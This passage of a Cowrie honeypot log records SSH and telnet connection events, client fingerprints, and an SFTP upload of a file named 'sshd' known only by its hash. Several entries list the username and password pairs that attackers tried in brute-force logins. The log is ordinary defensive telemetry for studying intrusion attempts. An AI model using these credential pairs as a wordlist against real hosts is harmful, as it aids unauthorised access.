ellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:07:24.674486Z","src_ip":"124.18.182.99","session":"0de254b6a80f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"qwer1234","message":"login attempt [developer/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:07:25.371164Z","src_ip":"124.18.182.99","session":"0de254b6a80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:07:26.568942Z","src_ip":"124.18.182.99","session":"0de254b6a80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.76485776901245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:07:54.040249Z","src_ip":"104.245.105.2","session":"be69038b0bd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35490,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bd4f8a7528e","protocol":"telnet","message":"New connection: 104.245.105.2:35490 (10.17.0.5:23) [session: 9bd4f8a7528e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:00.039540Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35500,"dst_ip":"10.17.0.5","dst_port":23,"session":"de767ae6552f","protocol":"telnet","message":"New connection: 104.245.105.2:35500 (10.17.0.5:23) [session: de767ae6552f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:05.392344Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52594,"dst_ip":"10.17.0.5","dst_port":23,"session":"7284bda73161","protocol":"telnet","message":"New connection: 104.245.105.2:52594 (10.17.0.5:23) [session: 7284bda73161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:13.247627Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52614,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6bcec8b768f","protocol":"telnet","message":"New connection: 104.245.105.2:52614 (10.17.0.5:23) [session: a6bcec8b768f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:18.575445Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54442,"dst_ip":"10.17.0.5","dst_port":23,"session":"38992495ed6f","protocol":"telnet","message":"New connection: 104.245.105.2:54442 (10.17.0.5:23) [session: 38992495ed6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:22.665333Z"}
{"eventid":"cowrie.session.closed","duration":32.74431324005127,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:32.783713Z","src_ip":"104.245.105.2","session":"9bd4f8a7528e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":59652,"dst_ip":"10.17.0.5","dst_port":22,"session":"814e1a9ddef0","protocol":"ssh","message":"New connection: 114.35.59.237:59652 (10.17.0.5:22) [session: 814e1a9ddef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:34.961971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:34.967654Z","src_ip":"114.35.59.237","session":"814e1a9ddef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:35.185580Z","src_ip":"114.35.59.237","session":"814e1a9ddef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"123","message":"login attempt [gitlab/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:36.082445Z","src_ip":"114.35.59.237","session":"814e1a9ddef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:37.302348Z","src_ip":"114.35.59.237","session":"814e1a9ddef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.872302293777466,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:42.264383Z","src_ip":"104.245.105.2","session":"de767ae6552f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.087982654571533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:44.335478Z","src_ip":"104.245.105.2","session":"7284bda73161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":52102,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4b059ad5118","protocol":"ssh","message":"New connection: 223.17.5.126:52102 (159.203.135.109:22) [session: a4b059ad5118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:46.406226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:46.416063Z","src_ip":"223.17.5.126","session":"a4b059ad5118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:46.630357Z","src_ip":"223.17.5.126","session":"a4b059ad5118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"antalya07","message":"login attempt [root/antalya07] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:47.501864Z","src_ip":"223.17.5.126","session":"a4b059ad5118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:48.731902Z","src_ip":"223.17.5.126","session":"a4b059ad5118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40330,"dst_ip":"10.17.0.5","dst_port":23,"session":"932432c87ea0","protocol":"telnet","message":"New connection: 104.245.105.2:40330 (10.17.0.5:23) [session: 932432c87ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:50.705649Z"}
{"eventid":"cowrie.session.closed","duration":34.03468728065491,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:08:56.699898Z","src_ip":"104.245.105.2","session":"38992495ed6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.5760281085968,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:09:01.151378Z","src_ip":"104.245.105.2","session":"a6bcec8b768f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51606,"dst_ip":"10.17.0.5","dst_port":23,"session":"990b799d88e2","protocol":"telnet","message":"New connection: 104.245.105.2:51606 (10.17.0.5:23) [session: 990b799d88e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:09:01.532414Z"}
{"eventid":"cowrie.session.closed","duration":30.75610876083374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:09:21.461586Z","src_ip":"104.245.105.2","session":"932432c87ea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.42077088356018,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:09:37.953062Z","src_ip":"104.245.105.2","session":"990b799d88e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51968,"dst_ip":"10.17.0.5","dst_port":23,"session":"86641de66e88","protocol":"telnet","message":"New connection: 104.245.105.2:51968 (10.17.0.5:23) [session: 86641de66e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:09:44.102311Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51982,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce1e0caa13f2","protocol":"telnet","message":"New connection: 104.245.105.2:51982 (10.17.0.5:23) [session: ce1e0caa13f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:09:46.962853Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":52882,"dst_ip":"159.203.135.109","dst_port":22,"session":"da28689ca4ac","protocol":"ssh","message":"New connection: 223.17.5.126:52882 (159.203.135.109:22) [session: da28689ca4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:09:47.532744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:09:47.572849Z","src_ip":"223.17.5.126","session":"da28689ca4ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:09:47.782760Z","src_ip":"223.17.5.126","session":"da28689ca4ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A@dmin123","message":"login attempt [root/A@dmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:09:48.610355Z","src_ip":"223.17.5.126","session":"da28689ca4ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:09:49.822896Z","src_ip":"223.17.5.126","session":"da28689ca4ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.349759340286255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:10:15.451965Z","src_ip":"104.245.105.2","session":"86641de66e88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56952,"dst_ip":"10.17.0.5","dst_port":23,"session":"e14bebc24646","protocol":"telnet","message":"New connection: 104.245.105.2:56952 (10.17.0.5:23) [session: e14bebc24646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:10:20.325704Z"}
{"eventid":"cowrie.session.closed","duration":36.15723967552185,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:10:23.120005Z","src_ip":"104.245.105.2","session":"ce1e0caa13f2","protocol":"telnet"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/9e5b93d3095f577136717e6aae8b51fea50d66ef9123eedccfc23b8faebf6d6c","shasum":"9e5b93d3095f577136717e6aae8b51fea50d66ef9123eedccfc23b8faebf6d6c","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/9e5b93d3095f577136717e6aae8b51fea50d66ef9123eedccfc23b8faebf6d6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:10:25.555012Z","src_ip":"182.43.22.64","session":"d95d3e44455b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.0","message":"Connection lost after 301.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:10:25.560467Z","src_ip":"182.43.22.64","session":"d95d3e44455b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":58786,"dst_ip":"159.203.135.109","dst_port":22,"session":"e81b0342d4b3","protocol":"ssh","message":"New connection: 223.17.5.126:58786 (159.203.135.109:22) [session: e81b0342d4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:10:49.650102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:10:49.655516Z","src_ip":"223.17.5.126","session":"e81b0342d4b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:10:49.876774Z","src_ip":"223.17.5.126","session":"e81b0342d4b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123456","message":"login attempt [root/Pass123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:10:50.781347Z","src_ip":"223.17.5.126","session":"e81b0342d4b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.24323797225952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:10:51.568835Z","src_ip":"104.245.105.2","session":"e14bebc24646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:10:52.002722Z","src_ip":"223.17.5.126","session":"e81b0342d4b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46346,"dst_ip":"10.17.0.5","dst_port":23,"session":"a259b44abfec","protocol":"telnet","message":"New connection: 104.245.105.2:46346 (10.17.0.5:23) [session: a259b44abfec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:10:52.964337Z"}
{"eventid":"cowrie.session.closed","duration":43.61142921447754,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:11:36.575642Z","src_ip":"104.245.105.2","session":"a259b44abfec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":41616,"dst_ip":"159.203.135.109","dst_port":22,"session":"291e8f30083b","protocol":"ssh","message":"New connection: 223.17.5.126:41616 (159.203.135.109:22) [session: 291e8f30083b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:11:51.583484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:11:51.588430Z","src_ip":"223.17.5.126","session":"291e8f30083b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:11:51.798321Z","src_ip":"223.17.5.126","session":"291e8f30083b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qq123456.","message":"login attempt [ubuntu/Qq123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:11:52.668367Z","src_ip":"223.17.5.126","session":"291e8f30083b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:11:53.882031Z","src_ip":"223.17.5.126","session":"291e8f30083b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47710,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f9b38bf8190","protocol":"telnet","message":"New connection: 104.245.105.2:47710 (10.17.0.5:23) [session: 4f9b38bf8190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:11:59.674856Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":33810,"dst_ip":"10.17.0.5","dst_port":22,"session":"37daccaa885f","protocol":"ssh","message":"New connection: 124.18.182.99:33810 (10.17.0.5:22) [session: 37daccaa885f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:12:10.208349Z"}
